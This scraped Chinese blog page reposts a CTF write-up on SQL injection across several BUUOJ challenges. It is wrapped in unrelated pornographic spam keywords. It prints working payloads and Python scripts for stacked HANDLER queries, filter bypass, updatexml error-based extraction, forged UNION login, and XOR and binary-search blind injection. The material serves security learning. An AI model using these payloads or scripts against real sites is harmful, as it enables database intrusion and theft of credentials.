日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

Web_SQL注入(1)

發布時間:2024/9/30 数据库 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Web_SQL注入(1) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

考察SQL注入的賽題很多,而且涉及到的知識也很雜,就總結一下做過的不同類型的SQL注入匯總一下。

[GYCTF2020]Blacklist

——涉及新知識HANDLER ... OPEN等、堆疊注入


這道題和之前做那道強網杯的題目一樣,但之前的方法比如讀取flag時改表名或者是用SQL的預處理進行繞過都不可行了,因為過濾了set prepare alter rename

所以這里就涉及到了一種新的方法

HANDLER ... OPEN語句打開一個表,使其可以使用后續HANDLER ... READ語句訪問,該表對象未被其他會話共享,并且在會話調用HANDLER ... CLOSE或會話終止之前不會關閉

簡介

mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句并不具備select語句的所有功能。它是mysql專用的語句,并沒有包含到SQL標準中。

自己測試一下

官方文檔
https://dev.mysql.com/doc/refman/8.0/en/handler.html

所以只要知道這種方法,就可以做出來了

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

[GYCTF2020]Ezsqli

——無列名注入(過濾了union select)、information_schema的代替

參考博客:
https://nosec.org/home/detail/3830.html
http://www.gem-love.com/ctf/1782.html
https://nosec.org/home/detail/3830.html

首先Fuzz一下看看都過濾了哪些

  • information_schema
  • union select (但單獨的select沒有被過濾)
  • or and 等

測試發現注入點

id=2 || 1=1 Nu1L 當后面的結果是true時,顯示的是Nu1L —————————————————————————————— id=2 || 1=2 當后面的結果是False,顯示的是 V&N

注入點找到了,下面就要解決information_schema這個問題,查了一下,發現可以用下面的進行替代

1.mysql.innodb_table_stats #獲取庫名、表名 2.sys.schema_table_statistics #獲取庫名、表名 3.sys.x$schema_flattened_keys 4.sys.schema_table_statistics_with_buffer

除下第一個含有in,被ban了,其他都可以使用,下面就寫腳本來爆出數據表

import requests import stringif __name__ == '__main__':url = 'http://22af67ef-8eaa-413e-8928-57ee5824d9b9.node3.buuoj.cn'dic = string.ascii_letters + string.digits + '{'+ '}' + '_' + '@'+','params = 'select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()'temp = ''for i in range(1,50):for s in dic:payload = '2||ascii(substr(({}),{},1))=\'{}\''.format(params,i,ord(s))data = {'id' : payload}reponse = requests.post(url=url,data=data)if "Nu1L" in reponse.text:temp += s print(temp)break


爆出了表名,但沒有辦法得到列名,常見的無列名注入需要搭配union select ,但被ban了,看了師傅們的博客

在沒有列名的情況下檢索數據

payload:

(select 'admin','admin')>(select * from users limit 1)

Y1ng師傅的解釋:

對于payload這個兩個select查詢的比較,是按位比較的,即先比第一位,如果相等則比第二位,以此類推;在某一位上,如果前者的ASCII大,不管總長度如何,ASCII大的則大。

為什么在存flag時候要往前偏移一位
因為在里層的for()循環,字典順序是從ASCII碼小到大來枚舉并比較的,假設正確值為b,那么字典跑到b的時候b=b不滿足payload的大于號,只能繼續下一輪循環,c>b此時滿足了,題目返回真,出現了Nu1L關鍵字,這個時候就需要記錄flag的值了,但是此時這一位的char是c,而真正的flag的這一位應該是b才對,所以flag += chr(char-1)


測試一下就會發現
是各取兩個字符串的首字符ascii碼來進行比較的,成立返回1,不成立返回0,也就是說,只比較一次,也就是首字符

懂得了原理就好寫腳本了

#參考Ying師傅的腳本 import requestsif __name__ == '__main__':url = 'http://74317165-bab8-4da1-912f-acff85604719.node3.buuoj.cn/' def ord2hex(flag):result = ''for i in flag:result += hex(ord(i))result = result.replace('0x','')return '0x'+resultflag = '' for i in range(1,500):hexchar = ''for char in range(32,127):hexchar = ord2hex(flag+ chr(char))payload ='2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)data = {'id' : payload}reponse = requests.post(url=url,data=data).textif 'Nu1L' in reponse:flag += chr(char-1)print(flag)break

之所以加上hex()操作,是因為MYSQL遇到hex會自動轉成字符串,如果不加的話會出錯

最后flag轉換為小寫即可。

[GXYCTF2019]BabySQli

——md5比較bypass、sqlmap的使用

考察SQL注入的,先fuzz一下,過濾了

  • or
  • =
  • ()等
    隨便輸入發現一串提示

    base解碼得到
select * from user where username = '$name'

可以手動注入,也可以使用sqlmap跑,sqlmap跑出的結果為

記錄一些sqlmap POST的注入

1.python sqlmap.py -r 1.txt --current-db 當前數據庫 2.python sqlmap.py -r 1.txt -D 數據庫--tables 數據庫中的表的名稱 3.python sqlmap.py -r 1.txt -D 數據庫-T 數據表--columns 得到表中的列名 4.python sqlmap.py -r 1.txt -D 數據庫-T 數據表-C username(列名),password --dump 得到用戶名、密碼

md5解不開,所以登陸不進去,猜測一下后端代碼應該是這樣

<?php $row; $pass=$_POST['pw']; if($row['username']==’admin’){ if($row['password']==md5($pass)){ echo $flag; }else{ echo “wrong pass!; } } else{ echo “wrong user!;}

這里就涉及到一個新技巧,mysql在查詢不存在的數據時,會自動構建虛擬數據,如下:

所以可以根據聯合查詢返回自定的md5,在輸入對應的密碼即可

name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

[極客大挑戰 2019]BabySQL

——雙寫繞過
先fuzz一下,看看過濾了什么

  • or and
  • union
  • select
  • from等
    雙寫繞過即可
爆出數據表 1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' --+ b4bsql,geekuser 爆出列名 password=1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' --+ id,username,password! 爆字段 1' ununionion seselectlect 1,group_concat(id,0x3a,passwoorrd),3 frfromom geekuser --+

[極客大挑戰 2019]HardSQL

——報錯注入、回顯不足、left()、right()的使用

首先fuzz一下,發現過濾了

  • and
  • &&
  • ||
  • <>
  • =
  • 空格等

主要就是繞過等號和空格,like和regexp沒有被過濾掉。可以代替=號,空格可以使用括號代替。

測試發現or沒有被過濾,可以使用extractvalue和updatexml進行報錯注入 這里就只使用updatexml進行注入 #爆數據庫 admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23 geek #爆數據表 admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23 H4rDsq1 #爆列名 admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23 id,username,password #爆字段 admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23

但在爆字段這會出現問題,因為updatexml回顯只能有32位,所以后面的顯示不完全,而substr也被過濾了,可以使用right()和left()函數來分別顯示出部分的flag

admin'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))%23 admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23 #拼接的時候要注意是否有之前重復的字符

除此之外,還可以使用 ^來連接函數,形成異或。

admin'^(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23

[極客大挑戰 2019]FinalSQL

——異或盲注、二分法

登陸框過濾了如下:

  • =
  • <>
  • select
  • information等

    幾乎能過濾的都給過濾了 ,既然登陸框無法入手,就從神秘代碼處找線索

    隨便打開一個,發現是get傳參
    上面又提示了是SQL盲注,就隨便找一個頁面測試一下
id=1^2 會跳轉到第三頁,說明可以進行異或 異或運算的規則: 0^0=0 0^1=1 1^0=1 1^1=0 這里再補充一下常用的異或注入技巧 1^1^1=1 1^0^1=0

所以構造如下語句:

id=1^(length(database())>1)^1


這個便可以寫腳本猜解值了,因為當為后面的語句成立時,異或的結果為0,如果后面的語句不成立,則異或的結果為1

id=1^(length(database())<1)^1


下面就來寫腳本:(注意空格被過濾了)

#普通的遍歷腳本 import requests import string import time start_time = time.time() url = 'http://6c2c4dda-9c60-48ca-92b3-8eda1acb9bd7.node3.buuoj.cn/search.php?id=' dic = string.ascii_letters + string.digits + '{' + '}' + '_' + '@' + ',' temp = '' for i in range(1,40):for char in dic:# 爆出數據庫# payload = "1^(ascii(substr(database(),{},1))={})^1".format(i,ord(char))#geek#爆出數據表# payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))={})^1".format(i, ord(char))# group_concat將相同的行組合起來# data: F1naI1y, Flaaaaag#爆出列名# payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),{},1))={})^1".format(i, ord(char))#data:id,username,password#爆出值payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))={})^1".format(i, ord(char))urls = url+payloadr = requests.get(url=urls).text# print(r)if "Click" in r:temp+=charprint('data:'+temp)break end_time = time.time() print(end_time-start_time)

但最后的flag應該是很長,時間估計要很慢

所以有時候遍歷循環并不是最好的選擇,可以使用二分法來縮短時間(參考師傅的wp)

# 作者(Author):cl4y # 來源(Source):Cl4y'Secretimport re import requests import string import timestart_time = time.time() url = "http://6c2c4dda-9c60-48ca-92b3-8eda1acb9bd7.node3.buuoj.cn/search.php" flag = ''def payload(i, j):# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #數據庫名字 # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data)# print (r.url)if "Click" in r.text:res = 1else:res = 0return resdef exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break# print (f)flag += chr(f)print(flag)exp() print('flag=', flag) end_time = time.time() print(end_time-start_time)


時間少多了,果然還是算法NB!!!

這腳本也很有趣,多看,多練!!!

總結

以上是生活随笔為你收集整理的Web_SQL注入(1)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 欧美日韩国产成人 | 体内精69xxxxxx | 18女人毛片 | 日韩电影中文字幕在线观看 | 国产性久久| 日本高清xxxx | 国产一区二区视频在线播放 | 什么网站可以看毛片 | 91爱爱com| 涩涩天堂 | 一区在线观看视频 | 国产精品亚洲无码 | 久久久久久99精品久久久 | 天天干干 | 色婷婷免费视频 | 久久午夜夜伦鲁鲁片无码免费 | 久久久久999| 亚洲欧美自拍另类 | 欧美黄色a级片 | 亚洲精品嫩草 | 免费av地址 | 亚洲激情图片区 | 壮汉被书生c到合不拢腿 | 中文字幕在线观看一区二区三区 | 中文字幕中文字幕 | 久草中文在线视频 | 爱爱小视频免费看 | 成年人在线视频观看 | 97自拍偷拍视频 | 六月丁香综合 | 有码中文| 一区二区国产欧美 | 亚洲欧美变态另类丝袜第一区 | 亚洲自拍中文 | 亚洲欧美日韩国产精品 | 亚洲久操| 97色干 | 在线观看免费视频黄 | 久久肉| 孕妇丨91丨九色 | 日韩人妻无码一区二区三区99 | 99视频这里有精品 | 亚洲天堂av一区二区三区 | 中国女人内精69xxxxxx | 精品久久精品久久 | 成人黄色网 | 老师张开让我了一夜av | 少妇精品视频 | 国产a久久麻豆入口 | 黄色性情网站 | 91国产丝袜播放在线 | 中文视频在线 | 91大神在线免费观看 | 九九综合久久 | 天堂√8在线中文 | www.国产91| 国产suv精品一区二区68 | 91成品人影院 | 国产乱码久久久久久 | 一区二区成人在线观看 | 成人播放器| 国产精品ⅴa有声小说 | 成人毛片100部免费看 | 日本中文字幕视频在线 | 色婷婷av一区二区三区四区 | 精品免费一区二区三区 | 国产视频污| 色呦呦麻豆 | 特黄老太婆aa毛毛片 | 国产av一区二区三区 | 北条麻妃一区二区三区 | 性久久 | 色综合五月天 | 另类小说婷婷 | 中国女人一级片 | 欧美三级视频网站 | 二男一女一级一片 | 男女插插视频 | 久热精品视频在线播放 | 国产精品一区二区三区免费 | 中文字幕a级片 | 黄色av一区二区三区 | 日本极品丰满ⅹxxxhd | 狠狠操婷婷 | 亚洲精品乱码久久久久久蜜桃动漫 | 久久久精品久久 | 琪琪午夜伦理影院7777 | 日韩激情网站 | 2017狠狠干| 日日爱夜夜操 | 微拍福利一区二区 | 乌克兰性极品xxxhd | 一区视频在线免费观看 | 欧美| 神马午夜一区二区 | 成人av一区二区三区 | 欧美,日韩,国产在线 | 无码aⅴ精品一区二区三区浪潮 | 国产精品果冻传媒 |